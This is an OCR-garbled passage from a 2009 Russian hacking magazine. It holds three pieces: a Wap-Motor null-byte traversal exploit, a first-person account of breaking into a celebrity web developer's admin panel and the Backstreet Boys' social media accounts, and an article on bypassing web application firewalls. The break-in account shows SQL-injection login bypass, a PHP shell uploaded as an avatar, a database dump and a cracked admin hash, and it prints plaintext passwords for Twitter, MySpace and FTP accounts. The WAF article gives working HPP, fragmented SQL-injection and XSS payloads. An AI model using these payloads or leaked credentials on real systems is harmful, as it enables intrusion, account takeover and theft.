ВЗЛОМ

XSS В TWITTER

ПОДДЕРЖКА UNICODE ТВИТТЕРОМ

<?php 1. Переменная $_GET['image'] глобализуется и превращается в $image:


...
if (!ini_get('register_globals')) { while(list($key, $value) = each($_GET)) $GLOBALS[$key] =
while(list($key,$value)=each($_GET)) $value;
$GLOBALS[$key]=$value;
while(list($key,$value)=each($_POST)) 2. $image проверяется как $check_url в нескольких eregi-регулярках на
$GLOBALS[$key]=$value; предмет нехороших символов;
while(list($key,$value)=each($_SESSION)) 3. Затем производятся не совсем понятные трезвому программисту
$GLOBALS[$key]=$value; манипуляции с расширением требуемого файла;
} 4. Нужный файл читается и отдается пользователю.
...
foreach ($_GET as $check_url) { >> EXPLOIT Казалось бы, через приведенные выше регулярки невозмож-
if ((eregi("<[^>]*script*\"?[^>]*>", $check_url)) но провести никакой directory traversal, но, вспомнив метод Электа для
|| (eregi("<[^>]*object*\"?[^>]*>", $check_url)) || ereg[i]-функций, вполне успешно можно заюзать любимый всеми нулл-байт.
(eregi("<[^>]*iframe*\"?[^>]*>", $check_url)) Исходя из этого, схема эксплуатирования баги может быть следующей:
|| (eregi("<[^>]*applet*\"?[^>]*>", $check_url)) || 1. Читаем список админов:
(eregi("<[^>]*meta*\"?[^>]*>", $check_url)) ||
(eregi("<[^>]*style*\"?[^>]*>", $check_url)) || http://wap.site.com/gallery/gallery.php?image=%00../
(eregi("<[^>]*form*\"?[^>]*>", $check_url)) || datatmp/adminlist.dat%00.gif
(eregi("\([^>]*\"?[^)]*\)", $check_url)) ||
(eregi("\"", $check_url)) || (eregi("\'", 2. Читаем credentials любого из админов:
$check_url)) || (eregi("\./", $check_url)) ||
(eregi("//", $check_url)) || (eregi("<", http://wap.site.com/gallery/gallery.php?image=%00../
$check_url)) || (eregi(">", $check_url))) { profil/[MY_ADMIN_NAME].prof%00.gif

header ("Location: ".BASEDIR."index.php?isset=403&". 3. Наслаждаемся админскими правами.


SID); exit; Конечно, для успешного внедрения нулл-байта на сервере жертвы
} должны быть отключены magic_quotes.
...
?> TARGETS Wap-Motor <= 18.0.

Теперь рассмотрим подробнее, что же происходит в приведенных скрип- SOLUTION Ищем последнюю версию движка на сайте производителя —
тах при передаче параметра $_GET['image']: http://visavi.net/wap-motor. z

050
50 XÀÊÅÐ 10 /130/ 09
ВЗЛОМ
МАГ ICQ 884888, HTTP://WAP-CHAT.RU

BACKSTREET'S
BACK!
ТОТАЛЬНОЕ УНИЧТОЖЕНИЕ ГРУППЫ BACKSTREET BOYS

Сегодня я расскажу занимательную историю о том, как быстро и


практически без боя сдались backstreetboys.com, myspace.com/
backstreetboys, а также twitter.com/backstreetboys — основные сетевые
ресурсы некогда почитаемой сопливыми девочками группы. Все нача-
лось с того, что третьего дня небезызвестный редактор рубрики намек-
нул о продолжении темы взлома всепочитаемых зарубежных знамени-
тостей, а в голове как раз вертелась нехитрая песенка «Everybody».

WHO IS WHO венно, на http://blog.backstreetboys.com. Дальше на пути нашего исследования стоит


Начнем наши раскопки, конечно же, с ис- Ты не удивишься, если узнаешь, что движком фанклуб группы — fanclub.backstreetboys.com.
следования сайта http://backstreetboys.com. блога группы является уже знакомый тебе
Ресурс представляет собой простенькую стар- WordPress :). Но, как это зачастую бывает, БАБЛО ПОБЕЖДАЕТ ЗЛО!
товую страницу на flash с фотографией группы версия блога (2.7.1) была на тот момент неуяз- Фанклуб представляет собой простейшую
и надписью «Coming soon». Ниже распола- вима, так что с быстрым и халявным взломом социальную сеть, но работающую на платной
гаются несколько ссылок: Tour Dates, Enter пришлось распрощаться. основе (последний успешный альбом бэки
Fanclub, Shop BSB, BSBlog. Tour Dates и Enter Тут стоит упомянуть, что я не забыл поискать и выпустили в 2007 году, теперь надо же на чем-
Fanclub ведут на один и тот же сабдомен — админку ресурса. Таковая нашлась по адресу то зарабатывать). Платно здесь все, начиная
http://fanclub.backstreetboys.com. Shop BSB http://admin.backstreetboys.com, но требовала от чата с форумом и заканчивая просмотром
ведет на левый домен http://backstreetboys. http-авторизации, и этот вариант также при- видео и фото с концертов и туров. Мне не очень
shop.bravadousa.com, а BSBlog, соответст- шлось на некоторое время отложить. хотелось отдавать свои кровные за такого

052 XÀÊÅÐ 10 /130/ 09


рода услуги. Пришлось довольствоваться тем,
что есть. Бесплатными разделами фанклуба GROUND(CTRL) — ЭТО КОНТОРА, КОТОРАЯ
оказались всего три ссылки: Home (глав-
ная), Tour (расписание туров) и Discography РАЗРАБАТЫВАЕТ САЙТЫ НА ОСНОВЕ СВОЕЙ
(дискография). Поиздевавшись вдоволь на
открывшихся страничках над всемозмож- CMS ДЛЯ РАЗЛИЧНЫХ ЗНАМЕНИТОСТЕЙ.
ными параметрами (насколько это позволял
mod_rewrite, большинство ссылок выглядели
в таком стиле — http://fanclub.backstreetboys. проникновения как на backstreetboys.com, так админов были бы одинаковыми и для Gmail.
com/events/827#signups), а также попробовав и на сам groundctrl.com :). Там могла храниться служебная переписка
стандартные пути для поиска админки, я понял, На сайте разработчика звездной cms я уже не разработчиков нужной мне cms. Теперь, когда
что на данном сабдомене ловить совершенно стал вставлять разные нехорошие символы во у меня имелся веб-шелл на groundctrl.com, не-
нечего и стал раздумывать над дальнейшими всевозможные параметры, а сразу принялся плохо было бы изучить исходники админки на
шагами. Немного погодя мой взгляд упал на за поиски админки и моментально нашел ее по предмет данных для подключения к MySQL, чем
футер сайта: адресу http://groundctrl.com/admin. я и занялся. Нужные данные почти сразу же на-
Открывшаяся моему взору страничка шлись в файлике /var/www/vhosts/groundctrl.
© 2009 Backstreet Boys. All rights порадовала тем фактом, что здесь исполь- com/httpdocs/admin/con/mysql_connect.php:
reserved. зовалась не http-аутентификация, а самые
Powered by ground(ctrl). обычные логин/пароль через веб-форму. <?php
Это означало, что для авторизации ис- define ('DB_USER', 'groundctrl');
Заинтересовавшись, что собой представляет пользуется какая-то база данных и можно define ('DB_PASSWORD',
вышеозначенный «ground(ctrl)», я проследо- было бы потестить соответствующие поля 'breakhouse');
вал на сайт http://groundctrl.com. на банальную скуль-инъекцию. Итак, после define ('DB_HOST', 'localhost');
сабмита в поля «Username» и «Password» define ('DB_NAME', 'groundctrl_
НЕУЯЗВИМЫХ НЕ БЫВАЕТ значения «1'» я увидел следующую sql- website');
Оказалось, что ground(ctrl) — это контора, кото- ошибку: $dbc = @mysql_connect (DB_HOST,
рая разрабатывает сайты на основе своей cms DB_USER, DB_PASSWORD) or die ('Could
для различных знаменитостей. Как они сами SELECT * FROM users WHERE user_name not connect to MySQL: ' . mysql_
о себе пишут: «We offer innovative interactive = '1'' AND password = MD5('1\'') error());
marketing and merchandising services for Music mysql_select_db (DB_NAME);
Stars, Athletes, and Personalities». Стало быть, профессиональные веб-програм- ?>
Клиентами конторы (кроме Backstreet Boys) яв- мисты не уследили за простейшей фильтраци-
ляются такие люди и коллективы, как: Daughtry, ей полей ввода :). Имя и структура таблицы с админами мне уже
Papa Roach, Paul Oakenfold, Thalia, Far, New Теперь залогиниться в админку не составляло были приблизительно известны из самой
Kids on the Block, Third Eye Blind, Dredg, Gavin труда: в поле с юзернеймом для этого лишь сле- первой sql-ошибки при входе в админку.
Rossdale. Подобный поворот событий придал довало вставить что-то вроде «1' or 1=1/*». Оставалось набросать небольшой скрипт для
мне дополнительных сил для поиска путей Ты, наверное, уже знаешь, — админки сайтов выполнения в PHP-eval окне шелла:
очень часто подвержены множеству уязвимос-
тей. Веб-разработчики полагают, что никто не include 'mysql_connect.php';
сможет проникнуть в эту самую админку извне :) $query = mysql_query('select * from
Вот и на этот раз все оказалось гораздо проще, users');
чем я думал. Зайдя в раздел «Manage Users», while($arr = mysql_fetch_
я наугад выбрал для редактирования профайл array($query))
юзера с ником «jennie». В профайле, как это {
часто бывает, оказалась форма загрузки авата- print_r($arr);
ра, рядом с которой было написано «jpg, gif and }
ШЕЛЛ НА GROUNDCTRL.COM
png images minimum size 265 x 213». Чем черт
не шутит, — я, конечно же, попробовал залить Код вывел на мой экран подробные данные
свой php-шелл вместо аватара. всех админов. Выбрав наугад пользователя с
Без каких-либо дополнительных вопросов мой мылом matt.sergent@groundctrl.com и md5-
evil-файл успешно загрузился по адресу http:// хешем пароля 330ef80613513b8286f95042bf372
groundctrl.com/media/images/404.php. 362, я отправился расшифровывать хеш в irc на
plain-text.info:
ВНУТРИ
ВНУТРИ BSBADMIN.COM Тут необходимо сделать небольшую ремарку. M4g .c3p0 addmd5 330ef80613513b82
Во время просмотра списка пользователей 86f95042bf372362
в админке groundctrl.com мне пришла идея C3P0 M4g: add ok... at 02:51:33
поискать мыльный pop-домен данного C3P0 MD5 Hash:330ef80613513b8
сайта, так как все пользователи-админы 286f95042bf372362 passwd:paplee
имели мыло именно в домене groundctrl.com. hex:7061706c6565
Тут, как это ни странно, мне снова улыбну-
лась удача в виде редиректа с http://mail. ГМЫЛО
groundctrl.com на https://www.google.com/a/ Оставалось залогиниться по адресу
groundctrl.com/ServiceLogin. https://www.google.com/a/groundctrl.com
МОЕ ПОСЛАНИЕ НА ТВИТТЕРЕ Вполне возможно, что какие-либо пароли ServiceLogin с логином «matt.sergent» и

XÀÊÅÐ 10 /130/ 09 053


ВЗЛОМ

— и множество других интереснейших вещей (вроде досту-


пов к панели управления Plesk, root-аккаунтов mysql и ftp/
sftp-аккаунтов к великому множеству сайтов), которые я не
хочу сейчас перед тобой палить :).
Но, наконец-таки, цель нашего квеста достигнута! Настало
время совсем немного поглумиться над фанатами нашей
подопытной группы.

СОЦИАЛЬНЫЕ СЕТИ
Так как дефейсом занимаются лишь первоклассники, я
решил направить свои основные действия на аккаунты
группы в социальных сетях. Сперва я запостил в Твиттер
сакраментальную фразу «I'll be watching you! From Russia
with love :)» (как и в случае со Стивеном Фраем). Удивленные
отклики фанатов не заставили себя ждать:
ВНУТРИ BACKSTREETBOYS.COM
piiittta@backstreetboys what...i dont
understand?????
---
NinaBackstreetRT @kairarosa @backstreetboys
Oh Guys!!!!!!!! Hello!!!! Russia????? OMG!
Around the world again????? LOL! Love you! Say
Hi to Brazil!
---
Loliii@backstreetboys I'll be watching YOU
with love from Argentina, how about that uh?
---
realNinoRodgers@backstreetboys I'll be
watching you! From Russia with love :) <<
That's my country, HAVE FUN!! :-)
---
MysticalPixie@backstreetboys who will be
ФОРМА ЗАГРУЗКИ ШЕЛЛА ЧЕРЕЗ АВАТАР :) watching? gotta tell us who is twitting here
guys...lol
---
паролем «paplee», что мне успешно и удалось сделать. puricha@backstreetboys What? Are you in Russia
Далее я воспользовался замечательным поиском среди now? I thought you were in Madrid !!
писем, который заботливо встроил в свой мыльный ---
HTTP://WWW сервис дядя Гугл. В качестве поисковых фраз я использо- DannynhaMansani@backstreetboys Are u going to
вал следующие комбинации: «ftp pass», «ftp password», Russia? Is Russia your next stop, guys? WOW!
links «password login». В результате раскопок мой улов соста- U're traveling a lot, hope u're having some fun
• backstreetboys.com вили аккаунты: =)
— виновник торжес- ---
тва. https://twitter.com/backstreetboys overloved@backstreetboys oooohhh my boys!!!
• groundctrl.com — username — backstreetboys tell me something, i wanna know if u do feeling
разработчик сайтов password — j3nnj3nn excited to come to Dubai?? how u feel? :D
для зарубежных --- ---
звезд. Myspace.Com m_serra@backstreetboys i'm watching you! from
• http://ru.wikipedia. bsbsocialutility@yahoo.com brazil with love :)
org/wiki/Backstreet_ spring99 ---
Boys — о группе --- k_rina_ktbspa@backstreetboys COME BACK TO
Backstreet Boys на Bsbadmin.com (îí æå admin.backstreetboys.com) SOUTHAMERICA.. CHILE MISS YOU!!! BESOS!!! SA
Википедии. Bsboys FANS.. LOVES YOU!!!! PLEASE!! :-(
• myspace.com/ .sandoz. ---
backstreetboys — --- vale101@backstreetboys heeey what?s new.. are
страница коллектива FTP in Russia .. Wow, understand the language ..
на MySpace. host: backstreetboys.com tell me something in Russian?... jejeje kisses
• twitter.com/ user: backstreetsback ---
backstreetboys — pass: 3rxvt6pueuyr MayMclean@backstreetboys Hey guys... what's
микроблог бэков --- up?? Russia... this is great!! OMG!! tell us
на Твиттере. FTP when TIU TOUR will arrive in Brazil?!
host: groundctrl.com ---
user: groundctrl danyzinhalee_@backstreetboys Russia, madrid,
pass: ninegbzif3zfgw Holland, Germany, u guys travel a lot —

054 XÀÊÅÐ 10 /130/ 09


INFO

info
Backstreet Boys (англ.
«Парни с задворок»)—
американская поп-
ПОЧТОВЫЕ ЯЩИК ОДНОГО ИЗ АДМИНОВ группа, которая была
GROUND(CTRL) МОЙ ПОСТ В БЛОГЕ BSB НА MYSPACE образована 20 апреля
1993 года в Орландо
(Флорида). В 2001 г.
была внесена в Книгу
Mr Mclean? Mr Carter? Mr Dorough???? ;) рекордов Гиннеса как
Cause I'll be watching too... From Holland with самая коммерчески
Love! ;) успешная подростко-
--- вая вокальная коман-
GinCarter: да всех времен.
WOW GUYS! GOOD LUCK! Backstreet Boys
--- являются одними из
[*ALMA DaNgErOuS*]: самых продаваемых
who's gonna be watching??? исполнителей в мире,
ВНУТРИ АККАУНТА BSB НА MYSPACE xD и одними из тех, кто
remember, Mexico loves you, you have to come заработал больше
back! :) всего денег на своих
--- дисках и концертах.
beijinho doce to you -Rawan-: Группа состоит из
--- I don't know WHO will be watching us..:p but i четырех человек:
pancho_torto@backstreetboys realyy!!?? people have a feeling that Nick is the one who will be Ник Картер, Эй Джей
said that it's a great placee!!! please come watching us! Маклин, Брайан
back to Argentinaa!!! We love you guys!! --- Литтрелл, Хауи Дороу.
*JULIE*ORR*: Пятый участник —
Как видишь, люди были крайне удивлены тем, что их кумиры oh never mind then lol Кевин Ричардсон —
внезапно переместились из Бразилии в Россию, поэтому, --- покинул группу
будучи больше не в силах никого травмировать, я удалил Danny_Mansani: 23 июня 2006 года.
свой пост :). I don't know who will be watching us, but I'm
Подошла очередь не совсем знакомого мне MySpace. Не- def will be watching u ;)
много разобравшись со внутренним устройством этой соци- From Brazil, with love =)
альной сети, я разместил уже известную тебе фразу в посте ---
блога BSB и на главной странице профайла в комментариях. Stephanie: WARNING
Вот какие ответы я получил от фанатов Backstreet Boys: What?

Maira Carter: И на MySpace также преобладает удивление фанов


BACKSTREET BOYS FOREVER <3 насчет того, что бэки «пишут из России», а должны бы info
PLEASE, COME TO BRAZIL. находиться в Бразилии. Так что мне снова пришлось Все описанное
I LOVE YOU SO MUCH.... удалять свои записи и заканчивать этот эпик хак на столь в статье является
--- высокой ноте. плодом больного
Suzan: воображения автора.
And who will that 'I' be ????? ;) Mr Littrell? ЗЛОКЛЮЧЕНИЕ Любые совпадения
Не всегда грамотно сделанный, хорошо настроен- с существующими
ный и пропатченный сайт означает, что его невоз- сайтами случай-
можно взломать. Зачастую хакеру помогает обычный ны. Ни редакция,
SQL-ИНЪЕКЦИЯ В АДМИНКЕ
GROUNDCTRL.COM человеческий фактор, будь то социальная инжене- ни автор не несут
рия или простая невнимательность разработчиков, ответственности за
от которой не застрахованы даже самые богатые любой возможный
и знаменитые. Надеюсь, ты вынес из этой статьи вред, причиненный
и другой очень простой, но важный совет: никог- материалами этой
да не сохраняй в своем почтовом ящике письма, статьи.
содержащие в себе логины, пароли и другую важную
информацию!
P.S. Обожаю рулить настроениями многотысячной армии
фанатов. Со временем жди продолжения интересного
«звездного взлома» :).z

XÀÊÅÐ 10 /130/ 09 055


ВЗЛОМ
RAZ0R HTTP://RAZ0R.NAME

âåá-ñåðâåð
ïîëüçîâàòåëü

èíòåðíåò
Web Application Firewall

àòàêóþùèé
ñåðâåð áàçû äàííûõ

Ãîðÿùèå ëîãèðóþùèé ñåðâåð

ñòåíû çàùèòû
Ôàéðâîë äëÿ âåá-ïðèëîæåíèé: ñïîñîáû îáíàðóæåíèÿ è îáõîäà
ÊÎÃÄÀ ÌÛ ÃÎÂÎÐÈÌ «ÔÀÉÐÂÎË», ÒÎ Â ÁÎËÜØÈÍÑÒÂÅ ÑÂÎÅÌ ÏÎÄÐÀÇÓÌÅÂÀÅÌ ÈÍÑÒÐÓ-
ÌÅÍÒ ÄËß ÔÈËÜÒÐÀÖÈÈ ÑÅÒÅÂÎÃÎ ÒÐÀÔÈÊÀ. ÏÐÈÊÐÛÒÜ ÏÎÐÒÛ, ÏÎÐÅÇÀÒÜ ÒÐÀÔÈÊ ÏÎ ÍÅ-
ÍÓÆÍÎÌÓ ÏÐÎÒÎÊÎËÓ, ÎÃÐÀÍÈ×ÈÒÜ ÄÎÑÒÓÏ ÊÎÍÊÐÅÒÍÛÕ ÏÐÈËÎÆÅÍÈÉ Â ÑÅÒÜ, ÁÓÄÜ ÒÅ ÍÀ
ÑÅÐÂÅÐÅ ÈËÈ ÎÁÛ×ÍÎÉ ÄÎÌÀØÍÅÉ ÌÀØÈÍÅ, — ÂÑÅ ÝÒÎ ÇÀÏÐÎÑÒÎ ÐÅÀËÈÇÓÅÒÑß ÎÁÛ×ÍÛÌ
ÁÐÀÍÄÌÀÓÝÐÎÌ. ÍÎ ÇÍÀË ËÈ ÒÛ, ×ÒÎ ÔÀÉÐÂÎË ÑÓÙÅÑÒÂÓÅÒ ÅÙÅ È ÄËß ÂÅÁ-ÏÐÈËÎÆÅÍÈÉ
È ÑÏÎÑÎÁÅÍ ÎÁÅÑÏÅ×ÈÂÀÒÜ ÄÎÏÎËÍÈÒÅËÜÍÛÉ ÑËÎÉ ÇÀÙÈÒÛ?

ÏÐÀÊÒÈ×ÅÑÊÈ Â ËÞÁÎÌ например, привести к утечке базы с конфи- проверка, даже если она не предусмотрена
ÂÅÁ-ÏÐÈËÎÆÅÍÈÈ ÅÑÒÜ ÑÅÐÜÅÇÍÛÅ денциальной инфой. Но ведь программисты в самом скрипте приложения, обязательно
ÁÀÃÈ. За доказательством далеко ходить тоже люди: каждый может сделать ошибку. будет осуществляться WAF.
не нужно: достаточно прочитать свежий Заставить всех разработчиков писать абсо- Получается, что Web Application Firewall — это
баг-трак. Анализируя код и используя лютно безопасный код невозможно (хотя и специальный механизм, накладывающий
сканирования типа черного ящика, когда существуют специальные стандарты вроде определенный набор правил на то, как взаимо-
различные параметры, передаваемые веб- Microsoft'овского Security Development действуют между собой сервер и клиент, обра-
приложениям, фаззятся особым образом, Lifecycle). Но! Можно попробовать выполнить батывая HTTP-пакеты. В основе кроется тот же
хакеры нередко находят ошибки даже в за них работу над ошибками, внося в схему принцип, что и в обычных пользовательских
очень серьезных проектах. В итоге, отсут- взаимодействия между пользователем и файрволах, — контроль всех данных, которые
ствие проверки передаваемого параметра веб-приложением дополнительное звено — поступают извне. WAF опирается на набор пра-
в одном единственном месте кода может, Web Application Firewall (WAF). В этом случае вил, с помощью которого выявляется факт атаки

056 XÀÊÅÐ 10 /130/ 09


по сигнатурам — признакам активности поль- гораздо интереснее посмотреть на WAF с ведь для веб-приложений необходимо четко
зователя, которые могут означать нападение. позиции хакера. Как пентестер может обна- установить рамки всех допустимых значений
Обычно Web Application Firewall применяются ружить на сервере WAF и, что еще важнее, для каждого входящего параметра. К слову,
для защиты сайтов, которые являются объ- обойти те проверки, которые он накладыва- для mod_security есть специальный инстру-
ектами особо пристального внимания хакеров, ет? Попробуем разобраться. мент под названием Remo, позволяющий
— крупные компании, банки, онлайн-магазины, Каждый из файрволов, как правило, имеет через графический интерфейс создавать
социальные сети и др. Но, несмотря на это, WAF свои отличительные особенности (они могут новые правила для белого списка.
может быть использован любым желающим. быть выявлены с помощью метода распозна- Еще большей проблемой являются сами
Предлагается немалое количество решений, вания «отпечатков» — fingerprint), впослед- правила. Вендоры WAF порой не успевают
распространяющихся по лицензии open source. ствии позволяющие определить, какой имен- их обновлять или попросту не в курсе новых
но WAF присутствует на том или ином сайте. веяний в сфере веб-безопасности, не говоря
КАКИЕ БЫВАЮТ WAF? Среди подобных особенностей могут быть: уже о неспособности базового набора правил
Само понятие «Web Application Firewall» • назначение специальных параметров качественно распознавать обычные атаки.
достаточно широкое. WAF может быть реали- Cookie в HTTP-ответе; Примером обхода правил конкретного файр-
зован в двух форм-факторах: аппаратном или • маскировка сервера с помощью изменения вола может служить уязвимость в Profense
программном — большую часть, разумеется, HTTP-заголовков, в частности, Server; Web Application Firewall, позволяющая про-
представляют последние. Также WAF можно • различные коды ответа при передаче осо- водить XSS с помощью следующих векторов:
разделить и по принципу действия. Условно бых данных; 1. http://example.com/xss.
выделяют три типа: • незамедлительное завершение соединения php?var=<script>alert(document.cookie)</
1. Реализованные в виде обратного прокси- при срабатывании недопустимого условия; script ByPass>
сервера; • встроенный набор базовых правил, под- 2. http://example.com/xss.
2. Работающие в режиме маршрутизации/ дающийся раскрытию. php?var=<script>alert(document.cookie)</
моста; Например, при попытке проведения про- script>=%0AByPass
3. Уже встроенные в веб-приложения. стых атак mod_security обнаруживается В первом случае (cve.mitre.org/cgi-bin/
К первым можно отнести такие реализации, по коду ошибки 501; WebKnight — по коду cvename.cgi?name=CVE-2009-1593) произ-
как mod_security (modsecurity.org), Barracuda 999; Barracuda по cookie-параметру barra_ водится обход правил, созданных по отри-
(barracudanetworks.com), nevisProxy counter_session. цательной модели: WAF не распознает XSS-
(adnovum.ch). Работа этого типа WAF стро- Несомненно, ручное распознавание типа атаку, так как в закрывающий тег вставлена
ится по схеме первоначальной обработки WAF требует много времени и большого строка, отделенная пробелом; в то же время
данных прокси-сервером, который может опыта. Необходимость в инструменте, кото- браузер выполнит злонамеренный JS-код,
блокировать или перенаправить запрос к рый мог бы автоматизировать процесс, несмотря на неверный формат.
веб-серверу без изменения или с частичной привела к созданию таких решений. Среди Во втором примере (cve.mitre.org/cgi-bin/
правкой данных. них можно отметить плагин WAF_fingerprint cvename.cgi?name=CVE-2009-1594) XSS
Ко второй категории относят в основ- для фреймворка w3af и утилиту wafw00f. Эти также проходит проверку, но уже по белому
ном аппаратные WAF, например, Impreva инструменты должны быть в арсенале у каж- списку, ибо правила пропускают все данные,
SecureSphere (impervaguard.com). Такие дого пентестера. обрабатывая их регулярным выражением в
решения требуют дополнительной настройки многострочном режиме, если хотя бы одна
внутренней сети, но зато в конечном итоге ОБХОД WAF строка соответствует допустимым условиям.
вариант выигрывает в производительности. Ничего идеального не существует. Это суж- К сожалению, рассмотреть уязвимости всех
И, наконец, третий тип подразумевает нали- дение также справедливо и для WAF. Прежде WAF в рамках одной статьи невозможно. Но
чие в веб-приложении дополнительного всего, стойкость файрвола обуславливается существуют универсальные способы и техни-
функционала, реализующего цели WAF. его архитектурой и используемой моделью ки обхода, которые могут быть применимы в
Ярким примером служит встроенный WAF в правил. Положительная модель всегда будет условиях любого WAF.
CMS Битрикс (www.1c-bitrix.ru). По специфи- иметь преимущество перед отрицательной,
ке действия правил различают WAF, рабо- так как первая изначально определяет HTTP PARAMETER
тающие по принципу blacklist (производится меньшее количество допустимых значений. POLLUTION
сопоставление со списком недопустимых С другой стороны, разработка правил для Термин HPP появился благодаря одноимен-
условий) и whitelist (принимаются только раз- whitelist куда более трудоемкое занятие, ной работе итальянских специалистов
решенные действия), а также смешанный
тип. Например, среди сигнатур для черного
списка могут быть строки: «UNION SELECT», WAFW00F В ДЕЙСТВИИ
«<script>», «/etc/passwd»; белый список
может определять диапазон значений для
числового параметра (от 0 до 65535).
Правильный WAF не производит фильтрацию
входящих данных, так как по большей части
это не входит в его компетенцию, однако
существует тип WAF, когда вместо простого
блокирования файрвол производит коррек-
тировку, особым образом обрабатывая дан-
ные. В результате это делает их бесполезны-
ми для атакующего.

ОБНАРУЖЕНИЕ WAF
Установка и настройка каждого из решений
— тема для отдельной статьи, но нам сейчас

XÀÊÅÐ 10 /130/ 09 057


ВЗЛОМ

MD5-ХЭШ ПАРОЛЯ АДМИНИСТРАТОРА

Луки Карретони (Luca Carettoni) и Стефано ди Паолы ФРАГМЕНТИРОВАННЫЕ


(Stefano di Paola). Принцип HPP заключается в воз- SQL-ИНЪЕКЦИИ
INFO можности переопределить или добавить новые HTTP- Этот вид SQL-инъекций характеризуется наличием в
параметры (POST, GET) с помощью внедрения символов, запросе, по крайней мере, двух значений, которые может
их разграничивающих, в строку запроса (query string). контролировать атакующий:
«Смешивая» параметры, становится возможным обход
info правил WAF. mysql_query("SELECT c,d FROM t WHERE a= " .
Австрийская команда Самым ярким примером является уязвимость в IIS+mod_ $_GET["a"] . " AND b=" . $_GET["b"]);
h4ck1nb3rg про- security, позволяющая проводить SQL-инъекции, несмо-
вела достаточно тря на WAF. Баг основан на двух особенностях: Помня, что WAF не пропустит SQLi-вектор в одном пара-
интересное иссле- 1. IIS склеивает запятой значения всех HTTP-параметров, метре, мы можем воспользоваться сразу двумя, чтобы
дование по оценке имеющих одинаковое имя. Например: обойти проверку:
возможностей защиты
текущего поколе- POST /index.aspx?a=1&a=2 HTTP/1.0 /?a=-1+UNION/*&b=*/SELECT 1,version()
ния Web Application Host: localhost
Firewall. Подробный Cookie: a=5;a=6 Конечный SQL-запрос примет вид:
материал с методи- Content-type: text/plain
ками и результатами Content-Length: 7 SELECT c,d FROM t WHERE a=-1 UNION/* AND
тестирования ты Connection: close b=*/SELECT 1,version()
сможешь найти на a=3&a=4
— www.h4ck1nb3rg. Выше приведен пример идеального варианта фрагмен-
at/wafs/final_project_ При таком запросе на IIS/ASP.NET значение параметра a тированной SQL-инъекции. В реальных веб-приложениях
documentation_ (Request.Params["a"]) будет равно 1,2,3,4,5,6. все несколько сложнее. Во-первых, обычно атакующий
v1.1.pdf. 2. mod_security анализирует запрос после того, как может контролировать несколько участков запроса в
он был обработан веб-сервром, — то есть проверке INSERT или UPDATE, но не в SELECT. Во-вторых, входя-
подвергается каждый параметр независимо друг от щие данные обрабатываются функцией addslashes(), и в
друга. запросе они обрамлены кавычками. И, наконец, данные
Попытка тривиальной SQL-инъекции, как показано ниже, могут проходить какие-либо дополнительные проверки
была бы отвергнута mod_security: http://localhost/ встроенным WAF. Однако, несмотря на это, ошибки в реа-
index.aspx?id=-1+UNION+SELECT+username,passw лизации могут привести к выполнению произвольного
ord+FROM+users. SQL-кода. Примером может послужить уязвимость, кото-
Однако HPP позволяет обойти подобное ограничение рую я нашел в Danneo CMS 0.5.2. Одной из особенностей
запросом: этой CMS является наличие в ней функционала, напоми-
нающего встроенный WAF. В частности, имеется черный
POST /index.aspx?a=-1%20union/*&a=*/select/* список, по которому проверяются все входящие параме-
HTTP/1.0 тры; сама же проверка выглядит следующим образом:
Host: localhost
Cookie: a=*/from/*;a=*/users foreach($_REQUEST as $params => $inputdata)
Content?Length: 21 {
a=*/name&a=password/* foreach($baddata as $badkey => $badvalue)
{ if(is_string($inputdata) &&
IIS произведет конкатенацию параметра a, mod_security eregi($badvalue,$inputdata))
не обнаружит никаких сигнатур. В конечном счете к базе { $badcount=1; }
данных поступит корректный запрос: }
}
SELECT b,c FROM t WHERE a=-1/*,*/UNION/*,*/
SELECT/*,*/username,password/*,*/FROM/*,*/ Как несложно заметить, сравнение входящих данных
users по черному списку производится с помощью уязвимой к

058 XÀÊÅÐ 10 /130/ 09


DVD

dvd
• Все материалы вы-
ступлений, инстру-
менты, упомянутые
в статье, а также
подборка бесплатных
WAF доступны на
диске.
XSS В GOOGLE CHROME
• Демонстрацию уяз-
нулл-байту функции eregi(), поэтому для обхода провер- менной comtitle обрезается функцией substr() до 255 вимости в Danneo CMS
ки достаточно вставить в начале параметра %00. Даже символов. Ошибка разработчиков состоит в том, что смотри на DVD.
при включенной директиве PHP magic_quotes_gpc данные сперва экранируются и только потом приво-
нулл-байт не будет экранироваться, так как присутствует дятся к требуемой длине, хотя должно быть наоборот.
такой код: Это дает возможность проведения фрагментированной
SQL-инъекции, несмотря на экранирование входящих
if(!ini_get("register_globals") || данных при magic_quotes_gpc=on. HTTP://WWW
(@get_cfg_var('register_globals')==1)) { Для проведения успешной атаки необходимы следую-
@extract($_COOKIE,EXTR_SKIP); щие значения параметров: links
@extract($_POST,EXTR_SKIP); • comname — a-z значение от 5 символов до 10; • www.webappsec.
@extract($_GET,EXTR_SKIP); • comtitle — 254 символа + кавычка; org — Web Application
@extract($_REQUEST,EXTR_SKIP); • comtext — /*%00*/, (SELECT adpwd FROM dn052_admin Security Consortium
/* ... */ LIMIT 1), 1)-- - (WASC).
if(get_magic_quotes_gpc()) { Последним символом в значении переменной comtitle • ru.wikipedia.org/
if($_POST) $_POST = stripslashesall($_ будет обратный слэш, который экранирует следующую wiki/Сетевая_мо-
POST); за ним кавычку, что позволит выполнить код в перемен- дель_OSI.
if($_GET) $_GET = stripslashesall($_GET); ной comtext. В итоге, получится SQL-запрос: • xiom.com — ресурс,
if($_REQUEST) $_REQUEST = посвященный исклю-
stripslashesall($_REQUEST); INSERT INTO dn052_polling_comment VALUES чительно WAF.
if($_COOKIE) $_COOKIE = (NULL,'1','0','1230987393', • code.google.com/p/
stripslashesall($_COOKIE); 'antichat','a[252x]b\','/*\0*/, (SELECT waffit — проект
} adpwd FROM dn052_admin LIMIT 1), 1)-- wafw00f.
-','127.0.0.1') • w3af.sourceforge.net
Здесь важно отметить, что все данные, полученные — фреймворк w3af.
напрямую из суперглобальных массивов ($_GET, При просмотре страницы с комментариями в поле тек- • www.netnea.com/
$_POST, $_COOKIE, $_REQUEST), будут очищены от ста сообщения будет отображен пароль администратора. cms/?q=remo — GUI-
экранирующих символов, в то время как переменные, редактор правил
ранее введенные в локальное пространство из тех же СЛЕПЫЕ SQL-ИНЪЕКЦИИ Remo.
массивов функцией extract(), останутся как есть. Уже При проведении слепых SQL-инъекций грамотный WAF
на этом этапе видна несогласованность кода. Сама же — серьезное препятствие. Однако получить информа-
SQL-инъекция находится в модуле голосований при цию из базы данных все же возможно при использо-
добавлении комментариев: вании альтернативных имен операторов и конструкций
синтаксиса. Например, для MySQL применимы такие
$comtext=($setting['peditor']=="yes") ? варианты:
commentparse($comtext) :
deltags(commentparse($comtext));
$comname = (preparse($usermain['logged'],T
